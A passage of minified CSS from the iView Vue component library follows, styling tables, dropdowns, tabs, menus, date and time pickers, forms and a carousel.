rgba(0,0,0,.2);box-shadow:-2px 0 6px -2px rgba(0,0,0,.2)}.ivu-table-fixed-right-header{position:absolute;top:-1px;right:0;background-color:#f8f8f9;border-top:1px solid #dcdee2;border-bottom:1px solid #e8eaec}.ivu-table-fixed-header{overflow:hidden}.ivu-table-fixed-body{overflow:hidden;position:relative;z-index:3}.ivu-table-fixed-shadow{width:1px;height:100%;position:absolute;top:0;right:0;-webkit-box-shadow:1px 0 6px rgba(0,0,0,.2);box-shadow:1px 0 6px rgba(0,0,0,.2);overflow:hidden;z-index:1}.ivu-table-sort{display:inline-block;width:14px;height:12px;margin-top:-1px;vertical-align:middle;overflow:hidden;cursor:pointer;position:relative}.ivu-table-sort i{display:block;height:6px;line-height:6px;overflow:hidden;position:absolute;color:#c5c8ce;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out;font-size:16px}.ivu-table-sort i:hover{color:inherit}.ivu-table-sort i.on{color:#2d8cf0}.ivu-table-sort i:first-child{top:0}.ivu-table-sort i:last-child{bottom:0}.ivu-table-filter{display:inline-block;cursor:pointer;position:relative}.ivu-table-filter i{color:#c5c8ce;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out}.ivu-table-filter i:hover{color:inherit}.ivu-table-filter i.on{color:#2d8cf0}.ivu-table-filter-list{padding:8px 0 0}.ivu-table-filter-list-item{padding:0 12px 8px}.ivu-table-filter-list-item .ivu-checkbox-wrapper+.ivu-checkbox-wrapper{margin:0}.ivu-table-filter-list-item label{display:block}.ivu-table-filter-list-item label>span{margin-right:4px}.ivu-table-filter-list ul{padding-bottom:8px}.ivu-table-filter-list .ivu-table-filter-select-item{margin:0;line-height:normal;padding:7px 16px;clear:both;color:#515a6e;font-size:12px!important;white-space:nowrap;list-style:none;cursor:pointer;-webkit-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.ivu-table-filter-list .ivu-table-filter-select-item:hover{background:#f3f3f3}.ivu-table-filter-list .ivu-table-filter-select-item-focus{background:#f3f3f3}.ivu-table-filter-list .ivu-table-filter-select-item-disabled{color:#c5c8ce;cursor:not-allowed}.ivu-table-filter-list .ivu-table-filter-select-item-disabled:hover{color:#c5c8ce;background-color:#fff;cursor:not-allowed}.ivu-table-filter-list .ivu-table-filter-select-item-selected,.ivu-table-filter-list .ivu-table-filter-select-item-selected:hover{color:#2d8cf0}.ivu-table-filter-list .ivu-table-filter-select-item-divided{margin-top:5px;border-top:1px solid #e8eaec}.ivu-table-filter-list .ivu-table-filter-select-item-divided:before{content:'';height:5px;display:block;margin:0 -16px;background-color:#fff;position:relative;top:-7px}.ivu-table-filter-list .ivu-table-large .ivu-table-filter-select-item{padding:7px 16px 8px;font-size:14px!important}@-moz-document url-prefix(){.ivu-table-filter-list .ivu-table-filter-select-item{white-space:normal}}.ivu-table-filter-footer{padding:4px;border-top:1px solid #e8eaec;overflow:hidden}.ivu-table-filter-footer button:first-child{float:left}.ivu-table-filter-footer button:last-child{float:right}.ivu-table-tip table{width:100%}.ivu-table-tip table td{text-align:center}.ivu-table-expanded-hidden{visibility:hidden}.ivu-table-popper{min-width:0;text-align:left}.ivu-table-popper .ivu-poptip-body{padding:0}.ivu-dropdown{display:inline-block}.ivu-dropdown .ivu-select-dropdown{overflow:visible;max-height:none}.ivu-dropdown .ivu-dropdown{width:100%}.ivu-dropdown-rel{position:relative}.ivu-dropdown-rel-user-select-none{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ivu-dropdown-menu{min-width:100px}.ivu-dropdown-transfer{width:auto}.ivu-dropdown-item-selected,.ivu-dropdown-item.ivu-dropdown-item-selected:hover{background:#f0faff}.ivu-dropdown-item{margin:0;line-height:normal;padding:7px 16px;clear:both;color:#515a6e;font-size:12px!important;white-space:nowrap;list-style:none;cursor:pointer;-webkit-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.ivu-dropdown-item:hover{background:#f3f3f3}.ivu-dropdown-item-focus{background:#f3f3f3}.ivu-dropdown-item-disabled{color:#c5c8ce;cursor:not-allowed}.ivu-dropdown-item-disabled:hover{color:#c5c8ce;background-color:#fff;cursor:not-allowed}.ivu-dropdown-item-selected,.ivu-dropdown-item-selected:hover{color:#2d8cf0}.ivu-dropdown-item-divided{margin-top:5px;border-top:1px solid #e8eaec}.ivu-dropdown-item-divided:before{content:'';height:5px;display:block;margin:0 -16px;background-color:#fff;position:relative;top:-7px}.ivu-dropdown-large .ivu-dropdown-item{padding:7px 16px 8px;font-size:14px!important}@-moz-document url-prefix(){.ivu-dropdown-item{white-space:normal}}.ivu-tabs{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;overflow:hidden;color:#515a6e;zoom:1}.ivu-tabs:after,.ivu-tabs:before{content:\"\";display:table}.ivu-tabs:after{clear:both;visibility:hidden;font-size:0;height:0}.ivu-tabs-bar{outline:0}.ivu-tabs-ink-bar{height:2px;-webkit-box-sizing:border-box;box-sizing:border-box;background-color:#2d8cf0;position:absolute;left:0;bottom:1px;z-index:1;-webkit-transition:-webkit-transform .3s ease-in-out;transition:-webkit-transform .3s ease-in-out;transition:transform .3s ease-in-out;transition:transform .3s ease-in-out,-webkit-transform .3s ease-in-out;-webkit-transform-origin:0 0;-ms-transform-origin:0 0;transform-origin:0 0}.ivu-tabs-bar{border-bottom:1px solid #dcdee2;margin-bottom:16px}.ivu-tabs-nav-container{margin-bottom:-1px;line-height:1.5;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;overflow:hidden;position:relative;zoom:1}.ivu-tabs-nav-container:after,.ivu-tabs-nav-container:before{content:\"\";display:table}.ivu-tabs-nav-container:after{clear:both;visibility:hidden;font-size:0;height:0}.ivu-tabs-nav-container:focus{outline:0}.ivu-tabs-nav-container:focus .ivu-tabs-tab-focused{border-color:#57a3f3!important}.ivu-tabs-nav-container-scrolling{padding-left:32px;padding-right:32px}.ivu-tabs-nav-wrap{overflow:hidden;margin-bottom:-1px}.ivu-tabs-nav-scroll{overflow:hidden;white-space:nowrap}.ivu-tabs-nav-right{float:right;margin-left:5px}.ivu-tabs-nav-prev{position:absolute;line-height:32px;cursor:pointer;left:0}.ivu-tabs-nav-next{position:absolute;line-height:32px;cursor:pointer;right:0}.ivu-tabs-nav-scrollable{padding:0 12px}.ivu-tabs-nav-scroll-disabled{display:none}.ivu-tabs-nav{padding-left:0;margin:0;float:left;list-style:none;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;-webkit-transition:-webkit-transform .5s ease-in-out;transition:-webkit-transform .5s ease-in-out;transition:transform .5s ease-in-out;transition:transform .5s ease-in-out,-webkit-transform .5s ease-in-out}.ivu-tabs-nav:after,.ivu-tabs-nav:before{display:table;content:\" \"}.ivu-tabs-nav:after{clear:both}.ivu-tabs-nav .ivu-tabs-tab-disabled{pointer-events:none;cursor:default;color:#ccc}.ivu-tabs-nav .ivu-tabs-tab{display:inline-block;height:100%;padding:8px 16px;margin-right:16px;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer;text-decoration:none;position:relative;-webkit-transition:color .3s ease-in-out;transition:color .3s ease-in-out}.ivu-tabs-nav .ivu-tabs-tab:hover{color:#57a3f3}.ivu-tabs-nav .ivu-tabs-tab:active{color:#2b85e4}.ivu-tabs-nav .ivu-tabs-tab .ivu-icon{width:14px;height:14px;margin-right:8px}.ivu-tabs-nav .ivu-tabs-tab-active{color:#2d8cf0}.ivu-tabs-mini .ivu-tabs-nav-container{font-size:14px}.ivu-tabs-mini .ivu-tabs-tab{margin-right:0;padding:8px 16px;font-size:12px}.ivu-tabs .ivu-tabs-content-animated{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row;will-change:transform;-webkit-transition:-webkit-transform .3s ease-in-out;transition:-webkit-transform .3s ease-in-out;transition:transform .3s ease-in-out;transition:transform .3s ease-in-out,-webkit-transform .3s ease-in-out}.ivu-tabs .ivu-tabs-tabpane{-ms-flex-negative:0;flex-shrink:0;width:100%;-webkit-transition:opacity .3s;transition:opacity .3s;opacity:1;outline:0}.ivu-tabs .ivu-tabs-tabpane-inactive{opacity:0;height:0}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-nav-container{height:32px}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-ink-bar{visibility:hidden}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-tab{margin:0;margin-right:4px;height:31px;padding:5px 16px 4px;border:1px solid #dcdee2;border-bottom:0;border-radius:4px 4px 0 0;-webkit-transition:all .3s ease-in-out;transition:all .3s ease-in-out;background:#f8f8f9}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-tab-active{height:32px;padding-bottom:5px;background:#fff;-webkit-transform:translateZ(0);transform:translateZ(0);border-color:#dcdee2;color:#2d8cf0}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-nav-wrap{margin-bottom:0}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-tab .ivu-icon-ios-close{width:0;height:22px;font-size:22px;margin-right:0;color:#999;text-align:right;vertical-align:middle;overflow:hidden;position:relative;top:-1px;-webkit-transform-origin:100% 50%;-ms-transform-origin:100% 50%;transform-origin:100% 50%;-webkit-transition:all .3s ease-in-out;transition:all .3s ease-in-out}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-tab .ivu-icon-ios-close:hover{color:#444}.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-tab-active .ivu-icon-ios-close,.ivu-tabs.ivu-tabs-card>.ivu-tabs-bar .ivu-tabs-tab:hover .ivu-icon-ios-close{width:22px;-webkit-transform:translateZ(0);transform:translateZ(0);margin-right:-6px}.ivu-tabs-no-animation>.ivu-tabs-content{-webkit-transform:none!important;-ms-transform:none!important;transform:none!important}.ivu-tabs-no-animation>.ivu-tabs-content>.ivu-tabs-tabpane-inactive{display:none}.ivu-menu{display:block;margin:0;padding:0;outline:0;list-style:none;color:#515a6e;font-size:14px;position:relative;z-index:900}.ivu-menu-horizontal{height:60px;line-height:60px}.ivu-menu-horizontal.ivu-menu-light:after{content:'';display:block;width:100%;height:1px;background:#dcdee2;position:absolute;bottom:0;left:0}.ivu-menu-vertical.ivu-menu-light:after{content:'';display:block;width:1px;height:100%;background:#dcdee2;position:absolute;top:0;bottom:0;right:0;z-index:1}.ivu-menu-light{background:#fff}.ivu-menu-dark{background:#515a6e}.ivu-menu-primary{background:#2d8cf0}.ivu-menu-item{display:block;outline:0;list-style:none;font-size:14px;position:relative;z-index:1;cursor:pointer;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}a.ivu-menu-item{color:inherit}a.ivu-menu-item:active,a.ivu-menu-item:hover{color:inherit}.ivu-menu-item>i{margin-right:6px}.ivu-menu-submenu-title span>i,.ivu-menu-submenu-title>i{margin-right:8px}.ivu-menu-horizontal .ivu-menu-item,.ivu-menu-horizontal .ivu-menu-submenu{float:left;padding:0 20px;position:relative;cursor:pointer;z-index:3;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-menu-light.ivu-menu-horizontal .ivu-menu-item,.ivu-menu-light.ivu-menu-horizontal .ivu-menu-submenu{height:inherit;line-height:inherit;border-bottom:2px solid transparent;color:#515a6e}.ivu-menu-light.ivu-menu-horizontal .ivu-menu-item-active,.ivu-menu-light.ivu-menu-horizontal .ivu-menu-item:hover,.ivu-menu-light.ivu-menu-horizontal .ivu-menu-submenu-active,.ivu-menu-light.ivu-menu-horizontal .ivu-menu-submenu:hover{color:#2d8cf0;border-bottom:2px solid #2d8cf0}.ivu-menu-dark.ivu-menu-horizontal .ivu-menu-item,.ivu-menu-dark.ivu-menu-horizontal .ivu-menu-submenu{color:rgba(255,255,255,.7)}.ivu-menu-dark.ivu-menu-horizontal .ivu-menu-item-active,.ivu-menu-dark.ivu-menu-horizontal .ivu-menu-item:hover,.ivu-menu-dark.ivu-menu-horizontal .ivu-menu-submenu-active,.ivu-menu-dark.ivu-menu-horizontal .ivu-menu-submenu:hover{color:#fff}.ivu-menu-primary.ivu-menu-horizontal .ivu-menu-item,.ivu-menu-primary.ivu-menu-horizontal .ivu-menu-submenu{color:#fff}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown{min-width:100%;width:auto;max-height:none}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item{height:auto;line-height:normal;border-bottom:0;float:none}.ivu-menu-item-group{line-height:normal}.ivu-menu-item-group-title{height:30px;line-height:30px;padding-left:8px;font-size:12px;color:#999}.ivu-menu-item-group>ul{padding:0!important;list-style:none!important}.ivu-menu-vertical .ivu-menu-item,.ivu-menu-vertical .ivu-menu-submenu-title{padding:14px 24px;position:relative;cursor:pointer;z-index:1;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-menu-vertical .ivu-menu-item:hover,.ivu-menu-vertical .ivu-menu-submenu-title:hover{color:#2d8cf0}.ivu-menu-vertical .ivu-menu-submenu-title-icon{float:right;position:relative;top:4px}.ivu-menu-submenu-title-icon{-webkit-transition:-webkit-transform .2s ease-in-out;transition:-webkit-transform .2s ease-in-out;transition:transform .2s ease-in-out;transition:transform .2s ease-in-out,-webkit-transform .2s ease-in-out}.ivu-menu-opened>*>.ivu-menu-submenu-title-icon{-webkit-transform:rotate(180deg);-ms-transform:rotate(180deg);transform:rotate(180deg)}.ivu-menu-vertical .ivu-menu-submenu-nested{padding-left:20px}.ivu-menu-vertical .ivu-menu-submenu .ivu-menu-item{padding-left:43px}.ivu-menu-vertical .ivu-menu-item-group-title{height:48px;line-height:48px;font-size:14px;padding-left:28px}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-item-group-title{color:rgba(255,255,255,.36)}.ivu-menu-light.ivu-menu-vertical .ivu-menu-item-active:not(.ivu-menu-submenu){color:#2d8cf0;background:#f0faff;z-index:2}.ivu-menu-light.ivu-menu-vertical .ivu-menu-item-active:not(.ivu-menu-submenu):after{content:'';display:block;width:2px;position:absolute;top:0;bottom:0;right:0;background:#2d8cf0}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-item,.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu-title{color:rgba(255,255,255,.7)}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-item-active:not(.ivu-menu-submenu),.ivu-menu-dark.ivu-menu-vertical .ivu-menu-item-active:not(.ivu-menu-submenu):hover,.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu-title-active:not(.ivu-menu-submenu),.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu-title-active:not(.ivu-menu-submenu):hover{background:#363e4f}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-item:hover,.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu-title:hover{color:#fff;background:#515a6e}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-item-active:not(.ivu-menu-submenu),.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu-title-active:not(.ivu-menu-submenu){color:#2d8cf0}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu .ivu-menu-item:hover{color:#fff;background:0 0!important}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu .ivu-menu-item-active,.ivu-menu-dark.ivu-menu-vertical .ivu-menu-submenu .ivu-menu-item-active:hover{border-right:none;color:#fff;background:#2d8cf0!important}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-child-item-active>.ivu-menu-submenu-title{color:#fff}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-opened{background:#363e4f}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-opened .ivu-menu-submenu-title{background:#515a6e}.ivu-menu-dark.ivu-menu-vertical .ivu-menu-opened .ivu-menu-submenu-has-parent-submenu .ivu-menu-submenu-title{background:0 0}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item{margin:0;line-height:normal;padding:7px 16px;clear:both;color:#515a6e;font-size:12px!important;white-space:nowrap;list-style:none;cursor:pointer;-webkit-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item:hover{background:#f3f3f3}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-focus{background:#f3f3f3}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-disabled{color:#c5c8ce;cursor:not-allowed}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-disabled:hover{color:#c5c8ce;background-color:#fff;cursor:not-allowed}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-selected,.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-selected:hover{color:#2d8cf0}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-divided{margin-top:5px;border-top:1px solid #e8eaec}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item-divided:before{content:'';height:5px;display:block;margin:0 -16px;background-color:#fff;position:relative;top:-7px}.ivu-menu-large .ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item{padding:7px 16px 8px;font-size:14px!important}@-moz-document url-prefix(){.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item{white-space:normal}}.ivu-menu-horizontal .ivu-menu-submenu .ivu-select-dropdown .ivu-menu-item{padding:7px 16px 8px;font-size:14px!important}.ivu-date-picker{display:inline-block;line-height:normal}.ivu-date-picker-rel{position:relative}.ivu-date-picker .ivu-select-dropdown{width:auto;padding:0;overflow:visible;max-height:none}.ivu-date-picker-cells{width:196px;margin:10px;white-space:normal}.ivu-date-picker-cells span{display:inline-block;width:24px;height:24px}.ivu-date-picker-cells span em{display:inline-block;width:24px;height:24px;line-height:24px;margin:2px;font-style:normal;border-radius:3px;text-align:center;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-date-picker-cells-header span{line-height:24px;text-align:center;margin:2px;color:#c5c8ce}.ivu-date-picker-cells-cell:hover em{background:#e1f0fe}.ivu-date-picker-cells-focused em{-webkit-box-shadow:0 0 0 1px #2d8cf0 inset;box-shadow:0 0 0 1px #2d8cf0 inset}span.ivu-date-picker-cells-cell{width:28px;height:28px;cursor:pointer}.ivu-date-picker-cells-cell-next-month em,.ivu-date-picker-cells-cell-prev-month em{color:#c5c8ce}.ivu-date-picker-cells-cell-next-month:hover em,.ivu-date-picker-cells-cell-prev-month:hover em{background:0 0}span.ivu-date-picker-cells-cell-disabled,span.ivu-date-picker-cells-cell-disabled:hover,span.ivu-date-picker-cells-cell-week-label,span.ivu-date-picker-cells-cell-week-label:hover{cursor:not-allowed;color:#c5c8ce}span.ivu-date-picker-cells-cell-disabled em,span.ivu-date-picker-cells-cell-disabled:hover em,span.ivu-date-picker-cells-cell-week-label em,span.ivu-date-picker-cells-cell-week-label:hover em{color:inherit;background:inherit}span.ivu-date-picker-cells-cell-disabled,span.ivu-date-picker-cells-cell-disabled:hover{background:#f7f7f7}.ivu-date-picker-cells-cell-today em{position:relative}.ivu-date-picker-cells-cell-today em:after{content:'';display:block;width:6px;height:6px;border-radius:50%;background:#2d8cf0;position:absolute;top:1px;right:1px}.ivu-date-picker-cells-cell-range{position:relative}.ivu-date-picker-cells-cell-range em{position:relative;z-index:1}.ivu-date-picker-cells-cell-range:before{content:'';display:block;background:#e1f0fe;border-radius:0;border:0;position:absolute;top:2px;bottom:2px;left:0;right:0}.ivu-date-picker-cells-cell-selected em,.ivu-date-picker-cells-cell-selected:hover em{background:#2d8cf0;color:#fff}span.ivu-date-picker-cells-cell-disabled.ivu-date-picker-cells-cell-selected em{background:#c5c8ce;color:#f7f7f7}.ivu-date-picker-cells-cell-today.ivu-date-picker-cells-cell-selected em:after{background:#fff}.ivu-date-picker-cells-show-week-numbers{width:226px}.ivu-date-picker-cells-month,.ivu-date-picker-cells-year{margin-top:14px}.ivu-date-picker-cells-month span,.ivu-date-picker-cells-year span{width:40px;height:28px;line-height:28px;margin:10px 12px;border-radius:3px}.ivu-date-picker-cells-month span em,.ivu-date-picker-cells-year span em{width:40px;height:28px;line-height:28px;margin:0}.ivu-date-picker-cells-month .ivu-date-picker-cells-cell-focused,.ivu-date-picker-cells-year .ivu-date-picker-cells-cell-focused{background-color:#d5e8fc}.ivu-date-picker-header{height:32px;line-height:32px;text-align:center;border-bottom:1px solid #e8eaec}.ivu-date-picker-header-label{cursor:pointer;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out}.ivu-date-picker-header-label:hover{color:#2d8cf0}.ivu-date-picker-btn-pulse{background-color:#d5e8fc!important;border-radius:4px;-webkit-transition:background-color .2s ease-in-out;transition:background-color .2s ease-in-out}.ivu-date-picker-prev-btn{float:left}.ivu-date-picker-prev-btn-arrow-double{margin-left:10px}.ivu-date-picker-prev-btn-arrow-double i:after{content:\"\\F115\";margin-left:-8px}.ivu-date-picker-next-btn{float:right}.ivu-date-picker-next-btn-arrow-double{margin-right:10px}.ivu-date-picker-next-btn-arrow-double i:after{content:\"\\F11F\";margin-left:-8px}.ivu-date-picker-with-range .ivu-picker-panel-body{min-width:432px}.ivu-date-picker-with-range .ivu-picker-panel-content{float:left}.ivu-date-picker-with-range .ivu-picker-cells-show-week-numbers{min-width:492px}.ivu-date-picker-with-week-numbers .ivu-picker-panel-body-date{min-width:492px}.ivu-date-picker-transfer{z-index:1060;max-height:none;width:auto}.ivu-date-picker-focused input{border-color:#57a3f3;outline:0;-webkit-box-shadow:0 0 0 2px rgba(45,140,240,.2);box-shadow:0 0 0 2px rgba(45,140,240,.2)}.ivu-picker-panel-icon-btn{display:inline-block;width:20px;height:24px;line-height:26px;margin-top:4px;text-align:center;cursor:pointer;color:#c5c8ce;-webkit-transition:color .2s ease-in-out;transition:color .2s ease-in-out}.ivu-picker-panel-icon-btn:hover{color:#2d8cf0}.ivu-picker-panel-icon-btn i{font-size:14px}.ivu-picker-panel-body-wrapper.ivu-picker-panel-with-sidebar{padding-left:92px}.ivu-picker-panel-sidebar{width:92px;float:left;margin-left:-92px;position:absolute;top:0;bottom:0;background:#f8f8f9;border-right:1px solid #e8eaec;border-radius:4px 0 0 4px;overflow:auto}.ivu-picker-panel-shortcut{padding:6px 15px 6px 15px;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out;cursor:pointer;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.ivu-picker-panel-shortcut:hover{background:#e8eaec}.ivu-picker-panel-body{float:left}.ivu-picker-confirm{border-top:1px solid #e8eaec;text-align:right;padding:8px;clear:both}.ivu-picker-confirm>span{color:#2d8cf0;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;float:left;padding:2px 0;-webkit-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.ivu-picker-confirm>span:hover{color:#57a3f3}.ivu-picker-confirm>span:active{color:#2b85e4}.ivu-picker-confirm-time{float:left}.ivu-time-picker-cells{min-width:112px}.ivu-time-picker-cells-with-seconds{min-width:168px}.ivu-time-picker-cells-list{width:56px;max-height:144px;float:left;overflow:hidden;border-left:1px solid #e8eaec;position:relative}.ivu-time-picker-cells-list:hover{overflow-y:auto}.ivu-time-picker-cells-list:first-child{border-left:none;border-radius:4px 0 0 4px}.ivu-time-picker-cells-list:last-child{border-radius:0 4px 4px 0}.ivu-time-picker-cells-list ul{width:100%;margin:0;padding:0 0 120px 0;list-style:none}.ivu-time-picker-cells-list ul li{width:100%;height:24px;line-height:24px;margin:0;padding:0 0 0 16px;-webkit-box-sizing:content-box;box-sizing:content-box;text-align:left;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;cursor:pointer;list-style:none;-webkit-transition:background .2s ease-in-out;transition:background .2s ease-in-out}.ivu-time-picker-cells-cell:hover{background:#f3f3f3}.ivu-time-picker-cells-cell-disabled{color:#c5c8ce;cursor:not-allowed}.ivu-time-picker-cells-cell-disabled:hover{color:#c5c8ce;background-color:#fff;cursor:not-allowed}.ivu-time-picker-cells-cell-selected,.ivu-time-picker-cells-cell-selected:hover{color:#2d8cf0;background:#f3f3f3}.ivu-time-picker-cells-cell-focused{background-color:#d5e8fc}.ivu-time-picker-header{height:32px;line-height:32px;text-align:center;border-bottom:1px solid #e8eaec}.ivu-time-picker-with-range .ivu-picker-panel-body{min-width:228px}.ivu-time-picker-with-range .ivu-picker-panel-content{float:left;position:relative}.ivu-time-picker-with-range .ivu-picker-panel-content:after{content:'';display:block;width:2px;position:absolute;top:31px;bottom:0;right:-2px;background:#e8eaec;z-index:1}.ivu-time-picker-with-range .ivu-picker-panel-content-right{float:right}.ivu-time-picker-with-range .ivu-picker-panel-content-right:after{right:auto;left:-2px}.ivu-time-picker-with-range .ivu-time-picker-cells-list:first-child{border-radius:0}.ivu-time-picker-with-range .ivu-time-picker-cells-list:last-child{border-radius:0}.ivu-time-picker-with-range.ivu-time-picker-with-seconds .ivu-picker-panel-body{min-width:340px}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells{min-width:216px}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-with-seconds{min-width:216px}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-with-seconds .ivu-time-picker-cells-list{width:72px}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-with-seconds .ivu-time-picker-cells-list ul li{padding:0 0 0 28px}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-list{width:108px;max-height:216px}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-list:first-child{border-radius:0}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-list:last-child{border-radius:0}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-list ul{padding:0 0 192px 0}.ivu-picker-panel-content .ivu-picker-panel-content .ivu-time-picker-cells-list ul li{padding:0 0 0 46px}.ivu-form .ivu-form-item-label{text-align:right;vertical-align:middle;float:left;font-size:12px;color:#515a6e;line-height:1;padding:10px 12px 10px 0;-webkit-box-sizing:border-box;box-sizing:border-box}.ivu-form-label-left .ivu-form-item-label{text-align:left}.ivu-form-label-top .ivu-form-item-label{float:none;display:inline-block;padding:0 0 10px 0}.ivu-form-inline .ivu-form-item{display:inline-block;margin-right:10px;vertical-align:top}.ivu-form-item{margin-bottom:24px;vertical-align:top;zoom:1}.ivu-form-item:after,.ivu-form-item:before{content:\"\";display:table}.ivu-form-item:after{clear:both;visibility:hidden;font-size:0;height:0}.ivu-form-item-content{position:relative;line-height:32px;font-size:12px}.ivu-form-item .ivu-form-item{margin-bottom:0}.ivu-form-item .ivu-form-item .ivu-form-item-content{margin-left:0!important}.ivu-form-item-error-tip{position:absolute;top:100%;left:0;line-height:1;padding-top:6px;color:#ed4014}.ivu-form-item-required .ivu-form-item-label:before{content:'*';display:inline-block;margin-right:4px;line-height:1;font-family:SimSun;font-size:12px;color:#ed4014}.ivu-carousel{position:relative;display:block;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-ms-touch-action:pan-y;touch-action:pan-y;-webkit-tap-highlight-color:transparent}.ivu-carousel-list,.ivu-carousel-track{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ivu-carousel-list{position:relative;display:block;overflow:hidden;margin:0;padding:0}.ivu-carousel-track{position:relative;top:0;left:0;display:block;overflow:hidden;z-index:1}.ivu-carousel-track.higher{z-index:2}.ivu-carousel-item{float:left;height:100%;min-height:1px;display:block}.ivu-carousel-arrow{border:none;outline:0;padding:0;margin:0;width:36px;height:36px;border-radius:50%;cursor:pointer;display:none;position:absolute;top:50%;z-index:10;-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%);-webkit-transition:.2s;transition:.2s;background-color:rgba(31,45,61,.11);color:#fff;text-align:center;font-size:1em;font-family:inherit;line-height:inherit}.ivu-carousel-arrow:hover{background-color:rgba(31,45,61,.5)}.ivu-carousel-arrow>*{vertical-align:baseline}.ivu-carousel-arrow.left{left:16px}.ivu-carousel-arrow.right{right:16px}.ivu-carousel-arrow-always{display:inherit}.ivu-carousel-arrow-hover{display:inherit;opacity:0}.ivu-carousel:hover .ivu-carousel-arrow-hover{opacity:1}.ivu-carousel-dots{z-index:10;display:none;position:relative;list-style:none;text-align:center;padding:0;width:100%;height:17px}.ivu-carousel-dots-inside{display:block;position:absolute;bottom:3px}.ivu-carousel-dots-outside{display:block;margin-top:3px}.ivu-carousel-dots li{position:relative;display:inline-block;vertical-align:top;text-align:center;margin:0 2px;padding:7px 0;cursor:pointer}.ivu-carousel-dots li button{border:0;cursor:pointer;background:#8391a5;opacity:.3;display:block;width:16px;height:3px;border-radius:1px;outline:0;font-size:0;color:transparent;-webkit-transition:all .5s;transition:all .5s}.ivu-carousel-dots li button.radius{width:6px;height:6px;border-radius:50%}.ivu-carousel-dots li:hover>button{opacity:.7}.ivu-carousel-dots li.ivu-carousel-active>button{opacity:1;width:24px}.ivu-carousel-dots li.ivu-carousel-active>button.radius{width:6px}.ivu-rate{display:inline-block;margin:0;padding:0;font-size:20px;vertical-align:middle;font-weight:400;font-style:normal}.ivu-rate-disabled .ivu-rate-star-content:before,.ivu-rate-disabled .ivu-rate-star:before{cursor:default}.ivu-rate-disabled 